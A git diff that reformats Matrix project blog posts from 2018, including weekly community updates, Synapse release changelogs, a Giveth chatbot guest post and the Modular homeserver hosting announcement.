    • +
    • Clicking on a user pill link will open the user profile.
    ## Spec Proposals: E2E Cross-signing and bi-directional key verification @@ -36,24 +36,24 @@ In ma1uta's words: > Jeon is a set of the java interfaces and classes which describes the Matrix API. >
      ->
    • client-api: r0.4.0-1 corresponds to the r0.4.0 C2S API.
    • ->
    • application-api: r0.1.0-1 corresponse to the r0.1.0 AS API,
    • ->
    • push-api: r0.1.0-1 corresponds to the r0.1.0 PUSH API,
    • ->
    • identity-api: r0.1.0-1 corresponds to the r0.1.0 IS API.
    • ->
    • All artefacts available from the Maven Central Repository.
    • +>
    • client-api: r0.4.0-1 corresponds to the r0.4.0 C2S API.
    • +>
    • application-api: r0.1.0-1 corresponse to the r0.1.0 AS API,
    • +>
    • push-api: r0.1.0-1 corresponds to the r0.1.0 PUSH API,
    • +>
    • identity-api: r0.1.0-1 corresponds to the r0.1.0 IS API.
    • +>
    • All artefacts available from the Maven Central Repository.
    • >
    > Major changes: >
      ->
    • Full support for the corresponding Matrix api.
    • ->
    • Changed version for displaying the Matrix api version.
    • ->
    • Added support to the asynchronous responses.
    • +>
    • Full support for the corresponding Matrix api.
    • +>
    • Changed version for displaying the Matrix api version.
    • +>
    • Added support to the asynchronous responses.
    • >
    > Also updated the swagger schemas generated from the code: > > And the first hotfix: application-api r0.1.0-2 with fixed url (/transactions has been changes to the _matrix/app/v1/transactions). And this release will break all AS because synapse sends transactions to the old url. @@ -115,7 +115,7 @@ This is really exciting news for macOS matrix users! Finally:
    ma1uta is also looking forward to the release of Java 11: -> with the Curve25519 key agreement (http://openjdk.java.net/jeps/324) and will try make a pure java implementation of the olm/megolm. Just for fun. :) +> with the Curve25519 key agreement () and will try make a pure java implementation of the olm/megolm. Just for fun. :) ## synapse-purge @@ -150,7 +150,7 @@ The only catch is that it's quite DB heavy whilst it runs, so we haven't run it tulir used maubot to create a factorial bot: > > - +> > I might also make some useful bots soon And so it was - late breaking news that maubot has been used to develop a Dictionary-definition-bot! Not available for public use yet but it proves that the project is useful! diff --git a/content/blog/2018/09/2018-09-24-synapse-0-33-5-released.md b/content/blog/2018/09/2018-09-24-synapse-0-33-5-released.md index fb47990ff..d3527b65f 100644 --- a/content/blog/2018/09/2018-09-24-synapse-0-33-5-released.md +++ b/content/blog/2018/09/2018-09-24-synapse-0-33-5-released.md @@ -24,7 +24,7 @@ As ever, you can get the new update @OlegGirko! (#3940) +
  • Fix incompatibility with older Twisted version in tests. Thanks @OlegGirko! (#3940)
  • ## Synapse 0.33.5 @@ -32,54 +32,54 @@ As ever, you can get the new update #3576) -
  • Implement event_format filter param in /sync (#3790)
  • -
  • Add synapse_admin_mau:registered_reserved_users metric to expose number of real reaserved users (#3846)
  • +
  • Python 3.5 and 3.6 support is now in beta. (#3576)
  • +
  • Implement event_format filter param in /sync (#3790)
  • +
  • Add synapse_admin_mau:registered_reserved_users metric to expose number of real reaserved users (#3846)
  • ### Bugfixes
      -
    • Remove connection ID for replication prometheus metrics, as it creates a large number of new series. (#3788)
    • -
    • guest users should not be part of mau total (#3800)
    • -
    • Bump dependency on pyopenssl 16.x, to avoid incompatibility with recent Twisted. (#3804)
    • -
    • Fix existing room tags not coming down sync when joining a room (#3810)
    • -
    • Fix jwt import check (#3824)
    • -
    • fix VOIP crashes under Python 3 (#3821) (#3835)
    • -
    • Fix manhole so that it works with latest openssh clients (#3841)
    • -
    • Fix outbound requests occasionally wedging, which can result in federation breaking between servers. (#3845)
    • -
    • Show heroes if room name/canonical alias has been deleted (#3851)
    • -
    • Fix handling of redacted events from federation (#3859)
    • -
    • (#3874)
    • -
    • Mitigate outbound federation randomly becoming wedged (#3875)
    • +
    • Remove connection ID for replication prometheus metrics, as it creates a large number of new series. (#3788)
    • +
    • guest users should not be part of mau total (#3800)
    • +
    • Bump dependency on pyopenssl 16.x, to avoid incompatibility with recent Twisted. (#3804)
    • +
    • Fix existing room tags not coming down sync when joining a room (#3810)
    • +
    • Fix jwt import check (#3824)
    • +
    • fix VOIP crashes under Python 3 (#3821) (#3835)
    • +
    • Fix manhole so that it works with latest openssh clients (#3841)
    • +
    • Fix outbound requests occasionally wedging, which can result in federation breaking between servers. (#3845)
    • +
    • Show heroes if room name/canonical alias has been deleted (#3851)
    • +
    • Fix handling of redacted events from federation (#3859)
    • +
    • (#3874)
    • +
    • Mitigate outbound federation randomly becoming wedged (#3875)
    ### Internal Changes
      -
    • CircleCI tests now run on the potential merge of a PR. (#3704)
    • -
    • http/ is now ported to Python 3. (#3771)
    • -
    • Improve human readable error messages for threepid registration/account update (#3789)
    • -
    • Make /sync slightly faster by avoiding needless copies (#3795)
    • -
    • handlers/ is now ported to Python 3. (#3803)
    • -
    • Limit the number of PDUs/EDUs per federation transaction (#3805)
    • -
    • Only start postgres instance for postgres tests on Travis CI (#3806)
    • -
    • tests/ is now ported to Python 3. (#3808)
    • -
    • crypto/ is now ported to Python 3. (#3822)
    • -
    • rest/ is now ported to Python 3. (#3823)
    • -
    • add some logging for the keyring queue (#3826)
    • -
    • speed up lazy loading by 2-3x (#3827)
    • -
    • Improved Dockerfile to remove build requirements after building reducing the image size. (#3834)
    • -
    • Disable lazy loading for incremental syncs for now (#3840)
    • -
    • federation/ is now ported to Python 3. (#3847)
    • -
    • Log when we retry outbound requests (#3853)
    • -
    • Removed some excess logging messages. (#3855)
    • -
    • Speed up purge history for rooms that have been previously purged (#3856)
    • -
    • Refactor some HTTP timeout code. (#3857)
    • -
    • Fix running merged builds on CircleCI (#3858)
    • -
    • Fix typo in replication stream exception. (#3860)
    • -
    • Add in flight real time metrics for Measure blocks (#3871)
    • -
    • Disable buffering and automatic retrying in treq requests to prevent timeouts. (#3872)
    • -
    • mention jemalloc in the README (#3877)
    • -
    • Remove unmaintained "nuke-room-from-db.sh" script (#3888)
    • +
    • CircleCI tests now run on the potential merge of a PR. (#3704)
    • +
    • http/ is now ported to Python 3. (#3771)
    • +
    • Improve human readable error messages for threepid registration/account update (#3789)
    • +
    • Make /sync slightly faster by avoiding needless copies (#3795)
    • +
    • handlers/ is now ported to Python 3. (#3803)
    • +
    • Limit the number of PDUs/EDUs per federation transaction (#3805)
    • +
    • Only start postgres instance for postgres tests on Travis CI (#3806)
    • +
    • tests/ is now ported to Python 3. (#3808)
    • +
    • crypto/ is now ported to Python 3. (#3822)
    • +
    • rest/ is now ported to Python 3. (#3823)
    • +
    • add some logging for the keyring queue (#3826)
    • +
    • speed up lazy loading by 2-3x (#3827)
    • +
    • Improved Dockerfile to remove build requirements after building reducing the image size. (#3834)
    • +
    • Disable lazy loading for incremental syncs for now (#3840)
    • +
    • federation/ is now ported to Python 3. (#3847)
    • +
    • Log when we retry outbound requests (#3853)
    • +
    • Removed some excess logging messages. (#3855)
    • +
    • Speed up purge history for rooms that have been previously purged (#3856)
    • +
    • Refactor some HTTP timeout code. (#3857)
    • +
    • Fix running merged builds on CircleCI (#3858)
    • +
    • Fix typo in replication stream exception. (#3860)
    • +
    • Add in flight real time metrics for Measure blocks (#3871)
    • +
    • Disable buffering and automatic retrying in treq requests to prevent timeouts. (#3872)
    • +
    • mention jemalloc in the README (#3877)
    • +
    • Remove unmaintained "nuke-room-from-db.sh" script (#3888)
    diff --git a/content/blog/2018/09/2018-09-28-this-week-in-matrix-2018-09-28.md b/content/blog/2018/09/2018-09-28-this-week-in-matrix-2018-09-28.md index 6c0bf3372..da5ee2c0a 100644 --- a/content/blog/2018/09/2018-09-28-this-week-in-matrix-2018-09-28.md +++ b/content/blog/2018/09/2018-09-28-this-week-in-matrix-2018-09-28.md @@ -31,10 +31,10 @@ As you may know, although he's now back studying for the final year of his Compu > The IRC connection tracker has had yet more code and love applied to it. The headline changes are: >
      ->
    • We now have a fully working IRC client that can connect to an IRCd, join channels and chat. These client's persist over > the lifetime of the service.
    • ->
    • There is a tool included with the service ircctl which allows you to spawn and use connections en masse. It also lets > you list the state of the currently connected clients.
    • ->
    • Work has just begun on a client library for connecting this up to the bridge, but should be swiftly completed thanks to…
    • ->
    • A brand new spec website in the works for describing the protocol (thanks Brendan for pointing me in the right direction)
    • +>
    • We now have a fully working IRC client that can connect to an IRCd, join channels and chat. These client's persist over > the lifetime of the service.
    • +>
    • There is a tool included with the service ircctl which allows you to spawn and use connections en masse. It also lets > you list the state of the currently connected clients.
    • +>
    • Work has just begun on a client library for connecting this up to the bridge, but should be swiftly completed thanks to…
    • +>
    • A brand new spec website in the works for describing the protocol (thanks Brendan for pointing me in the right direction)
    • >
    Spec docs: https://half-shot.github.io/irc-conntrack/ @@ -83,10 +83,10 @@ Lots of discussion about this project, specifically the question of how to effic matrix-appservice-slack is a Node project, built on matrix-appservice-bridge, which is designed to bridge messages and metadata between Slack and Matrix. These updates:
      -
    • Improves pills substitutions to use the new slack mentions
    • -
    • Add Gitter style edit bridging
    • -
    • Adds a config option to specify the directory the user-store.db and room-store.db files go in
    • -
    • Converts slack snippets to inline code dumps in matrix
    • +
    • Improves pills substitutions to use the new slack mentions
    • +
    • Add Gitter style edit bridging
    • +
    • Adds a config option to specify the directory the user-store.db and room-store.db files go in
    • +
    • Converts slack snippets to inline code dumps in matrix
    ## ma1uta tests for client @@ -116,17 +116,17 @@ September was mainly spent cleaning up loose ends on the Spec after First Impressions' project (starting with unbreaking onboarding in Riot/Web when GDPR consent is enabled) -
  • Lots and lots of UX work from Nad on E2E, Communities, Onboarding and the overall redesign, complete with a redesign workshop with Jouni.
  • -
  • Aiming for end of Oct for first cut of redesign to be live as an experimental branch on riot.im.
  • -
  • Lots and lots of E2E implementation work in general; backups, cross-signing, and verification.
  • +
  • Lazy loading members is now on by default on riot.im/develop - reducing Riot's RAM by 3-5x.  Please give it a go and test it before we ship it in Riot 0.17 (probably next week) so we can iron out any last bugs (which will probably look like user profiles going missing)
  • +
  • Lazy loading also ships by default in Riot/iOS in Testflight 0.7.4 - if you want in on Testflight let us know in #riot-ios:matrix.org and we'll share an invite link!
  • +
  • Lazy loading in Riot/Android coming real soon now; it's behind a labs flag on the develop branch if you want to experiment.
  • +
  • Travis has started attacking the Riot/Web 'First Impressions' project (starting with unbreaking onboarding in Riot/Web when GDPR consent is enabled)
  • +
  • Lots and lots of UX work from Nad on E2E, Communities, Onboarding and the overall redesign, complete with a redesign workshop with Jouni.
  • +
  • Aiming for end of Oct for first cut of redesign to be live as an experimental branch on riot.im.
  • +
  • Lots and lots of E2E implementation work in general; backups, cross-signing, and verification.
  • -## The end is nigh! +## The end is nigh But only for this blog post! Check out Matrix Live below, and we'll see you back here next week. :D -https://youtu.be/zo4IH4nUQ9w + diff --git a/content/blog/2018/10/2018-10-04-synapse-0-33-6-released.md b/content/blog/2018/10/2018-10-04-synapse-0-33-6-released.md index d97c61831..87fdbe0c2 100644 --- a/content/blog/2018/10/2018-10-04-synapse-0-33-6-released.md +++ b/content/blog/2018/10/2018-10-04-synapse-0-33-6-released.md @@ -18,69 +18,69 @@ As ever, you can get the new update #3883) -
  • Report "python_version" in the phone home stats (#3894)
  • -
  • Always LL ourselves if we're in a room (#3916)
  • -
  • Include eventid in log lines when processing incoming federation transactions (#3959)
  • -
  • Remove spurious check which made 'localhost' servers not work (#3964)
  • +
  • Adding the ability to change MAX_UPLOAD_SIZE for the docker container variables. (#3883)
  • +
  • Report "python_version" in the phone home stats (#3894)
  • +
  • Always LL ourselves if we're in a room (#3916)
  • +
  • Include eventid in log lines when processing incoming federation transactions (#3959)
  • +
  • Remove spurious check which made 'localhost' servers not work (#3964)
  • #### Bugfixes
      -
    • Fix problem when playing media from Chrome using direct URL (thanks @remjey!) (#3578)
    • -
    • support registering regular users non-interactively with register_new_matrix_user script (#3836)
    • -
    • Fix broken invite email links for self hosted riots (#3868)
    • -
    • Don't ratelimit autojoins (#3879)
    • -
    • Fix 500 error when deleting unknown room alias (#3889)
    • -
    • Fix some b'abcd' noise in logs and metrics (#3892#3895)
    • -
    • When we join a room, always try the server we used for the alias lookup first, to avoid unresponsive and out-of-date servers. (#3899)
    • -
    • Fix incorrect server-name indication for outgoing federation requests (#3907)
    • -
    • Fix adding client IPs to the database failing on Python 3. (#3908)
    • -
    • Fix bug where things occasionally were not being timed out correctly. (#3910)
    • -
    • Fix bug where outbound federation would stop talking to some servers when using workers (#3914)
    • -
    • Fix some instances of ExpiringCache not expiring cache items (#3932#3980)
    • -
    • Fix out-of-bounds error when LLing yourself (#3936)
    • -
    • Sending server notices regarding user consent now works on Python 3. (#3938)
    • -
    • Fix exceptions from metrics handler (#3956)
    • -
    • Fix error message for events with m.room.create missing from auth_events (#3960)
    • -
    • Fix errors due to concurrent monthly_active_user upserts (#3961)
    • -
    • Fix exceptions when processing incoming events over federation (#3968)
    • -
    • Replaced all occurrences of e.message with str(e). Contributed by Schnuffle (#3970)
    • -
    • Fix lazy loaded sync in the presence of rejected state events (#3986)
    • -
    • Fix error when logging incomplete HTTP requests (#3990)
    • +
    • Fix problem when playing media from Chrome using direct URL (thanks @remjey!) (#3578)
    • +
    • support registering regular users non-interactively with register_new_matrix_user script (#3836)
    • +
    • Fix broken invite email links for self hosted riots (#3868)
    • +
    • Don't ratelimit autojoins (#3879)
    • +
    • Fix 500 error when deleting unknown room alias (#3889)
    • +
    • Fix some b'abcd' noise in logs and metrics (#3892#3895)
    • +
    • When we join a room, always try the server we used for the alias lookup first, to avoid unresponsive and out-of-date servers. (#3899)
    • +
    • Fix incorrect server-name indication for outgoing federation requests (#3907)
    • +
    • Fix adding client IPs to the database failing on Python 3. (#3908)
    • +
    • Fix bug where things occasionally were not being timed out correctly. (#3910)
    • +
    • Fix bug where outbound federation would stop talking to some servers when using workers (#3914)
    • +
    • Fix some instances of ExpiringCache not expiring cache items (#3932#3980)
    • +
    • Fix out-of-bounds error when LLing yourself (#3936)
    • +
    • Sending server notices regarding user consent now works on Python 3. (#3938)
    • +
    • Fix exceptions from metrics handler (#3956)
    • +
    • Fix error message for events with m.room.create missing from auth_events (#3960)
    • +
    • Fix errors due to concurrent monthly_active_user upserts (#3961)
    • +
    • Fix exceptions when processing incoming events over federation (#3968)
    • +
    • Replaced all occurrences of e.message with str(e). Contributed by Schnuffle (#3970)
    • +
    • Fix lazy loaded sync in the presence of rejected state events (#3986)
    • +
    • Fix error when logging incomplete HTTP requests (#3990)
    #### Internal Changes
      -
    • Unit tests can now be run under PostgreSQL in Docker using test_postgresql.sh. (#3699)
    • -
    • Speed up calculation of typing updates for replication (#3794)
    • -
    • Remove documentation regarding installation on Cygwin, the use of WSL is recommended instead. (#3873)
    • -
    • Fix typo in README, synaspse -> synapse (#3897)
    • -
    • Increase the timeout when filling missing events in federation requests (#3903)
    • -
    • Improve the logging when handling a federation transaction (#3904#3966)
    • -
    • Improve logging of outbound federation requests (#3906#3909)
    • -
    • Fix the docker image building on python 3 (#3911)
    • -
    • Add a regression test for logging failed HTTP requests on Python 3. (#3912)
    • -
    • Comments and interface cleanup for on_receive_pdu (#3924)
    • -
    • Fix spurious exceptions when remote http client closes connection (#3925)
    • -
    • Log exceptions thrown by background tasks (#3927)
    • -
    • Add a cache to get_destination_retry_timings (#3933#3991)
    • -
    • Automate pushes to docker hub (#3946)
    • -
    • Require attrs 16.0.0 or later (#3947)
    • -
    • Fix incompatibility with python3 on alpine (#3948)
    • -
    • Run the test suite on the oldest supported versions of our dependencies in CI. (#3952)
    • -
    • CircleCI now only runs merged jobs on PRs, and commit jobs on develop, master, and release branches. (#3957)
    • -
    • Fix docstrings and add tests for state store methods (#3958)
    • -
    • fix docstring for FederationClient.get_state_for_room (#3963)
    • -
    • Run notify_app_services as a bg process (#3965)
    • -
    • Clarifications in FederationHandler (#3967)
    • -
    • Further reduce the docker image size (#3972)
    • -
    • Build py3 docker images for docker hub too (#3976)
    • -
    • Updated the installation instructions to point to the matrix-synapse package on PyPI. (#3985)
    • -
    • Disable USE_FROZEN_DICTS for unittests by default. (#3987)
    • -
    • Remove unused Jenkins and development related files from the repo. (#3988)
    • -
    • Improve stacktraces in certain exceptions in the logs (#3989)
    • -
    • Pin to prometheus_client<0.4 to avoid renaming all of our metrics (#4002)
    • +
    • Unit tests can now be run under PostgreSQL in Docker using test_postgresql.sh. (#3699)
    • +
    • Speed up calculation of typing updates for replication (#3794)
    • +
    • Remove documentation regarding installation on Cygwin, the use of WSL is recommended instead. (#3873)
    • +
    • Fix typo in README, synaspse -> synapse (#3897)
    • +
    • Increase the timeout when filling missing events in federation requests (#3903)
    • +
    • Improve the logging when handling a federation transaction (#3904#3966)
    • +
    • Improve logging of outbound federation requests (#3906#3909)
    • +
    • Fix the docker image building on python 3 (#3911)
    • +
    • Add a regression test for logging failed HTTP requests on Python 3. (#3912)
    • +
    • Comments and interface cleanup for on_receive_pdu (#3924)
    • +
    • Fix spurious exceptions when remote http client closes connection (#3925)
    • +
    • Log exceptions thrown by background tasks (#3927)
    • +
    • Add a cache to get_destination_retry_timings (#3933#3991)
    • +
    • Automate pushes to docker hub (#3946)
    • +
    • Require attrs 16.0.0 or later (#3947)
    • +
    • Fix incompatibility with python3 on alpine (#3948)
    • +
    • Run the test suite on the oldest supported versions of our dependencies in CI. (#3952)
    • +
    • CircleCI now only runs merged jobs on PRs, and commit jobs on develop, master, and release branches. (#3957)
    • +
    • Fix docstrings and add tests for state store methods (#3958)
    • +
    • fix docstring for FederationClient.get_state_for_room (#3963)
    • +
    • Run notify_app_services as a bg process (#3965)
    • +
    • Clarifications in FederationHandler (#3967)
    • +
    • Further reduce the docker image size (#3972)
    • +
    • Build py3 docker images for docker hub too (#3976)
    • +
    • Updated the installation instructions to point to the matrix-synapse package on PyPI. (#3985)
    • +
    • Disable USE_FROZEN_DICTS for unittests by default. (#3987)
    • +
    • Remove unused Jenkins and development related files from the repo. (#3988)
    • +
    • Improve stacktraces in certain exceptions in the logs (#3989)
    • +
    • Pin to prometheus_client<0.4 to avoid renaming all of our metrics (#4002)
    diff --git a/content/blog/2018/10/2018-10-05-this-week-in-matrix-2018-10-05.md b/content/blog/2018/10/2018-10-05-this-week-in-matrix-2018-10-05.md index 99f920278..9e4e3e106 100644 --- a/content/blog/2018/10/2018-10-05-this-week-in-matrix-2018-10-05.md +++ b/content/blog/2018/10/2018-10-05-this-week-in-matrix-2018-10-05.md @@ -62,7 +62,7 @@ Go see the literally the previous blog post! - +> > we've been focusing on fixing a whole host of federation bugs to improve reliability and latency. Additionally we've squashed some py3 bugs, improved lazy loading and been working hard in the background to improve our CI infrastructure. Finally, we cleaned up the Docker file, the image is now half the size of 0.33.5.1's standing at 58 MB. > > As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI. diff --git a/content/blog/2018/10/2018-10-11-the-story-of-giveth-s-new-matrix-chatbot.md b/content/blog/2018/10/2018-10-11-the-story-of-giveth-s-new-matrix-chatbot.md index 35b3e6f6b..915d446f1 100644 --- a/content/blog/2018/10/2018-10-11-the-story-of-giveth-s-new-matrix-chatbot.md +++ b/content/blog/2018/10/2018-10-11-the-story-of-giveth-s-new-matrix-chatbot.md @@ -16,15 +16,12 @@ Guest post today from GivethGiveth is re Giveth's new chatbot in action! -Online or offline, joining a new community always requires some adjustment. Even the most open, inclusive communities have shared knowledge and shared practices which new members learn as they participate. - - -I recently joined Giveth's Riot community, where the majority of Giveth's communication occurs. Immediately upon joining, I received the message pictured above from the Giveth Bot, kindly encouraging me to download Riot mobile and change my notifications to mention-only. The bot shortened my adjustment period by giving me key tidbits of information that everyone in Giveth's community knows, but that may have taken me time to pick up on my own. This blog post will cover how the Giveth Bot came to be, what it is capable of, and where the project is headed in the future. +Online or offline, joining a new community always requires some adjustment. Even the most open, inclusive communities have shared knowledge and shared practices which new members learn as they participate. +I recently joined Giveth's Riot community, where the majority of Giveth's communication occurs. Immediately upon joining, I received the message pictured above from the Giveth Bot, kindly encouraging me to download Riot mobile and change my notifications to mention-only. The bot shortened my adjustment period by giving me key tidbits of information that everyone in Giveth's community knows, but that may have taken me time to pick up on my own. This blog post will cover how the Giveth Bot came to be, what it is capable of, and where the project is headed in the future. The Giveth Bot actually started out as an attempt to solve a completely different problem: helping Giveth efficiently distribute internal reward points. Giveth's system for rewarding people who meaningfully contribute to the project is called RewardDAO. “If someone contributes in a meaningful way, a core contributor from each of the Giveth Campaigns can dish them points to recognize the contribution”, describes Cleo in an article explaining how RewardDAO works. At the end of each month, contributors receive Ether based on how many points they have earned. - The Giveth RewardDAO motto. Photo from https://medium.com/giveth. @@ -32,32 +29,28 @@ The Giveth Bot actually started out as an attempt to solve a completely differen However, any time that a core contributor dished points to someone, they had to record who received the points, and how many, on a spreadsheet. In search of a better way, Giveth opened up the project of automating this system to the social coding hub, a community of altruistic developers looking to tackle impactful and interesting projects, offering a 2 eth bounty for a solution. - A lot of great work was submitted, and ultimately Deam's ( @deamlabs) code was chosen to power the bot and the code for the pointsbot itself was further developed and refined by Frederik Bolding. Now, by using a command of the form “!dish [number] [type] points to [contributor] for [contribution]”, Giveth core contributors can distribute points as needed, and the bot will automatically update the spreadsheet accordingly. - -The Giveth Bot dishing points like a champion! +The Giveth Bot dishing points like a champion! Once the bot's framework was established, chatbot features were added. In addition to the welcome message I received, the bot gives custom welcome messages in each of Giveth's different rooms, allows Matrix users to have 1-on-1 chats with it, and listens for keywords and sentences it recognizes in rooms and private chats. Riot is built on top of an open-source protocol called Matrix. Matrix has a javascript standard development kit (SDK), which the bot uses to detect events occurring in each of the Riot rooms and chats that it is a part of. - Giveth began by using Slack, but switched to Riot to support Matrix's decentralized, open-source model, which which aligns far more with Giveth's own business model and values. The Giveth Bot is a great example of how Matrix enables users to build their own solutions to problems. In the future, we hope that the Giveth Bot will be able to interact directly with the Ethereum Blockchain, and that more analytics and measurement tools can be incorporated. And of course, we welcome any and all feedback on the Giveth Bot! - -Giveth is an open-source platform for building decentralized altruistic communities. Anyone interested in getting involved should head to +Giveth is an open-source platform for building decentralized altruistic communities. Anyone interested in getting involved should head to join.giveth.io -Interested in checking out the Giveth Bot's inner workings? All code is available at +Interested in checking out the Giveth Bot's inner workings? All code is available at https://github.com/Giveth/giveth-bot -. +. -Interested in learning DApp development or helping out with cool projects like the Giveth Bot? Check out the +Interested in learning DApp development or helping out with cool projects like the Giveth Bot? Check out the social_coding Riot channel , tell us what you're interested in, and help build awesome stuff! diff --git a/content/blog/2018/10/2018-10-12-this-week-in-matrix-2018-10-12.md b/content/blog/2018/10/2018-10-12-this-week-in-matrix-2018-10-12.md index 860b21692..39cebbf3e 100644 --- a/content/blog/2018/10/2018-10-12-this-week-in-matrix-2018-10-12.md +++ b/content/blog/2018/10/2018-10-12-this-week-in-matrix-2018-10-12.md @@ -10,9 +10,9 @@ category = ["This Week in Matrix"] ## Matrix Spec updates
      -
    • MSC1695 Half-Shot has a newly released proposal relating to Message Edits: +
    • MSC1695 Half-Shot has a newly released proposal relating to Message Edits: "The key difference to this proposal is that it's only the event schema which is based off the relates stuff. It does NOT do any kind of aggregations but simply is a format to allow bridges/clients to specify edits in the metadata."
    • -
    • MSC1693 Erik has been thinking about state res v2 in the case of rejected events
    • +
    • MSC1693 Erik has been thinking about state res v2 in the case of rejected events
    ## libQMatrixClient 0.4.0 @@ -53,8 +53,8 @@ The help menu really is massive! Travis provided an image to highlight the scope > Fixes only these two issues: >
      ->
    • Firefox private mode being broken > (https://github.com/matrix-org/matrix-react-sdk/pull/2195)
    • ->
    • Breakage when mixing /app and /develop use (issue #7432)
    • +>
    • Firefox private mode being broken > (https://github.com/matrix-org/matrix-react-sdk/pull/2195)
    • +>
    • Breakage when mixing /app and /develop use (issue #7432)
    • >
    > As both fixes are not relevant for electron, we didn't release 0.16.6 as the electron app, but rest assured 0.17 will of course be released as electron. @@ -62,29 +62,29 @@ The help menu really is massive! Travis provided an image to highlight the scope We missed this last week, but FluffyChat (client for Ubuntu Touch) v0.6.0 was released, with LOTS of new features:
      -
    • User profiles
    • -
    • Design improvements
    • -
    • Audioplayer in chat
    • -
    • Videoplayer in chat (only audio at the moment)
    • -
    • Imageviewer
    • -
    • Edit chat aliases
    • -
    • Edit chat settings and permissions
    • -
    • Kick, ban and unban users
    • -
    • Edit user permissions
    • -
    • New invite page
    • -
    • Display and edit chat topics
    • -
    • Change chat avatar
    • -
    • Change user avatar
    • -
    • Edit phone numbers
    • -
    • Edit email addresses
    • -
    • Display and edit archived chats
    • -
    • New add-chat and add-contact pages
    • -
    • Display contacts and find contacts with their phone number or email address
    • -
    • Discover public chats on the user's homeserver
    • -
    • Registration (currently only working with ubports.chat and NOT with matrix.org due captchas)
    • -
    • Register and login with phone number
    • -
    • Edit identity-server
    • -
    • Add in-app viewer for the privacy policy
    • +
    • User profiles
    • +
    • Design improvements
    • +
    • Audioplayer in chat
    • +
    • Videoplayer in chat (only audio at the moment)
    • +
    • Imageviewer
    • +
    • Edit chat aliases
    • +
    • Edit chat settings and permissions
    • +
    • Kick, ban and unban users
    • +
    • Edit user permissions
    • +
    • New invite page
    • +
    • Display and edit chat topics
    • +
    • Change chat avatar
    • +
    • Change user avatar
    • +
    • Edit phone numbers
    • +
    • Edit email addresses
    • +
    • Display and edit archived chats
    • +
    • New add-chat and add-contact pages
    • +
    • Display contacts and find contacts with their phone number or email address
    • +
    • Discover public chats on the user's homeserver
    • +
    • Registration (currently only working with ubports.chat and NOT with matrix.org due captchas)
    • +
    • Register and login with phone number
    • +
    • Edit identity-server
    • +
    • Add in-app viewer for the privacy policy
    @@ -100,7 +100,7 @@ If it didn't seem that kitsune > Quaternion is now localisable! The web platform for translation will be set up in the nearest days; meanwhile those who can't wait can just take the repo, look how the German translation is made and copy! -## That's all we can tell you! +## That's all we can tell you Safe travels to Cadair, who is off to represent Matrix at the GSOC 2018 mentors summit. Check out Matrix Live below: diff --git a/content/blog/2018/10/2018-10-16-usage-of-the-matrix-js-sdk.md b/content/blog/2018/10/2018-10-16-usage-of-the-matrix-js-sdk.md index e20d14b99..f509c3470 100644 --- a/content/blog/2018/10/2018-10-16-usage-of-the-matrix-js-sdk.md +++ b/content/blog/2018/10/2018-10-16-usage-of-the-matrix-js-sdk.md @@ -19,12 +19,12 @@ Let's explore how we would make a very simple Matrix client, with only the abili This article will explore the Matrix Client-Server API, making use of the matrix-js-sdk. Later articles may discuss making the underlying calls. Specifically we will cover:
      -
    • login
    • -
    • simple syncing
    • -
    • listening for timeline events
    • -
    • access the `MatrixInMemoryStore`
    • -
    • sending messages to rooms
    • -
    • how to respond to specific messages, as a bot would
    • +
    • login
    • +
    • simple syncing
    • +
    • listening for timeline events
    • +
    • access the `MatrixInMemoryStore`
    • +
    • sending messages to rooms
    • +
    • how to respond to specific messages, as a bot would
    We'll use Node.js as our environment, though the matrix-js-sdk can also be used directly in the browser. diff --git a/content/blog/2018/10/2018-10-18-synapse-0-33-7-released.md b/content/blog/2018/10/2018-10-18-synapse-0-33-7-released.md index 02778d2cc..afaa71f4e 100644 --- a/content/blog/2018/10/2018-10-18-synapse-0-33-7-released.md +++ b/content/blog/2018/10/2018-10-18-synapse-0-33-7-released.md @@ -34,26 +34,26 @@ The configuration parser will try to detect the situation where email.tem #### Features
      -
    • Ship the example email templates as part of the package (#4052)
    • -
    • Add support for end-to-end key backup (MSC1687) (#4019)
    • +
    • Ship the example email templates as part of the package (#4052)
    • +
    • Add support for end-to-end key backup (MSC1687) (#4019)
    #### Bugfixes
      -
    • Fix bug which made get_missing_events return too few events (#4045)
    • -
    • Fix bug in event persistence logic which caused 'NoneType is not iterable' (#3995)
    • -
    • Fix exception in background metrics collection (#3996)
    • -
    • Fix exception handling in fetching remote profiles (#3997)
    • -
    • Fix handling of rejected threepid invites (#3999)
    • -
    • Workers now start on Python 3. (#4027)
    • -
    • Synapse now starts on Python 3.7. (#4033)
    • +
    • Fix bug which made get_missing_events return too few events (#4045)
    • +
    • Fix bug in event persistence logic which caused 'NoneType is not iterable' (#3995)
    • +
    • Fix exception in background metrics collection (#3996)
    • +
    • Fix exception handling in fetching remote profiles (#3997)
    • +
    • Fix handling of rejected threepid invites (#3999)
    • +
    • Workers now start on Python 3. (#4027)
    • +
    • Synapse now starts on Python 3.7. (#4033)
    ### Internal Changes
      -
    • Log exceptions in looping calls (#4008)
    • -
    • Optimisation for serving federation requests (#4017)
    • -
    • Add metric to count number of non-empty sync responses (#4022)
    • +
    • Log exceptions in looping calls (#4008)
    • +
    • Optimisation for serving federation requests (#4017)
    • +
    • Add metric to count number of non-empty sync responses (#4022)
    diff --git a/content/blog/2018/10/2018-10-22-modular-the-world-s-first-matrix-homeserver-hosting-provider.md b/content/blog/2018/10/2018-10-22-modular-the-world-s-first-matrix-homeserver-hosting-provider.md index d9b300a5d..de687b992 100644 --- a/content/blog/2018/10/2018-10-22-modular-the-world-s-first-matrix-homeserver-hosting-provider.md +++ b/content/blog/2018/10/2018-10-22-modular-the-world-s-first-matrix-homeserver-hosting-provider.md @@ -10,23 +10,16 @@ category = ["In the News"] Hi folks, - Today is one of those pivotal days for the Matrix ecosystem: we're incredibly excited to announce that the world's first ever dedicated homeserver hosting service is now fully available over at https://modular.im!  This really is a massive step for Matrix towards being a mature ecosystem, and we look forward to Modular being the first of many hosting providers in the years to come :D - Modular lets anyone spin up a dedicated homeserver and Riot via a super-simple web interface, rather than having to run and admin their own server.  It's built by New Vector (the startup who makes Riot and hires many of the Matrix core team), and comes from taking the various custom homeserver deployments for people like Status and TADHack and turning them into a paid service available to everyone.  You can even point your own DNS at it to get a fully branded dedicated homeserver for your own domain! - - Anyway, for full details, check out the announcement over at the Riot blog.  We're particularly excited that Modular helps increase Matrix's decentralisation, and is really forcing us to ensure that the Federation API is getting the attention it deserves.  Hopefully it'll also reduce some load from the Matrix.org homeserver! Modular will also help Matrix by directly funding Matrix development by the folks working at New Vector, which should in turn of course benefit the whole ecosystem. - 